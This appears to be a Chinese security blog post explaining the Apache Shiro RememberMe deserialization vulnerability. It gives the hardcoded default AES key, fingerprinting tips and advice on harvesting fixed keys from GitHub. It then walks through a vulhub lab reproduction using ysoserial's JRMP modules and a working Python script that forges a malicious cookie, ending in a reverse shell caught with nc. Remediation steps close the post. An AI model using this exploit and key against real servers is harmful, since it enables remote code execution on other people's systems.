xiayule
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
Shiro漏洞原理
Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RemeberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的
在服务端接收cookie值时,按以下步骤解析:
检索RemeberMe cookie的值
Base 64解码
使用ACE解密(加密密钥硬编码)
进行反序列化操作(未作过滤处理)
在调用反序列化的时候未进行任何过滤,导致可以触发远程代码执行漏洞
用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro序列化利用条件
由于使用了AES加密,要想成功利用漏洞则需要获取AES的加密密钥,而在shiro1.2.4之前版本中使用的是硬编码,AES加密的密钥默认在代码里。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA== ,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
目前已经更新了很多版本,但是官方并没有把反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用固定的编码,也有很多开源项目内部集成了shiro并二次开发,可能会重现低版本shiro的默认固定密钥的风险。例如Guns开源框架内部集成了shiro并进行二次开发,作者自定义密钥并固定,此时用户如果不对密钥进行修改,即使升级shiro版本,也依旧存在固定密钥的风险。这里可以通过搜索引擎和github来收集密钥,提高漏洞检测和利用的成功率。
如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
shiro漏洞指纹
在请求包的Cookie中为?remeberMe字段赋任意值
返回包中存在set-Cookie:remeberMe=deleteMe
URL中有shiro字样
有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可
影响版本:
Apache Shiro <= 1.2.4
复现过程:
1、用docker拉取vulhub(没有vulhub的自己去github上安装一下过程很简单就不过多赘述了)相关漏洞镜像,访问对应的web页面,在登陆框随便输入账号密码登录,并勾选Remember me。
2、抓包将Cookie内容改为remember Me=1,如果响应包有rememberMe=deleteMe,就基本可以确定网站是用apache shiro搭建,如下图。
3、对反弹shell命令进行编码:
4、启用ysoserial(针对Java反序列化的Java工具)的监听模块,并选择一个监听端口。
注:
payloads/JRMPClient 是结合 exploit/JRMPListener 使用的;
JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload;
payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的。
5、使用python编写的poc生成恶意cookie。
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
6、利用脚本生成恶意cookie,此处端口号需要与前面ysoserial监听模块端口一致。
7、开启监听。
8、打开浏览器抓包,用恶意Cookie代替原来的Cookie。
9、查看nc监听情况,成功getshell。
漏洞修复
1、删除代码中的默认密钥。
2、升级Shiro到1.2.5及以上。
3、不要使用网上的密钥,可以自己base64生成一个AES密钥。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)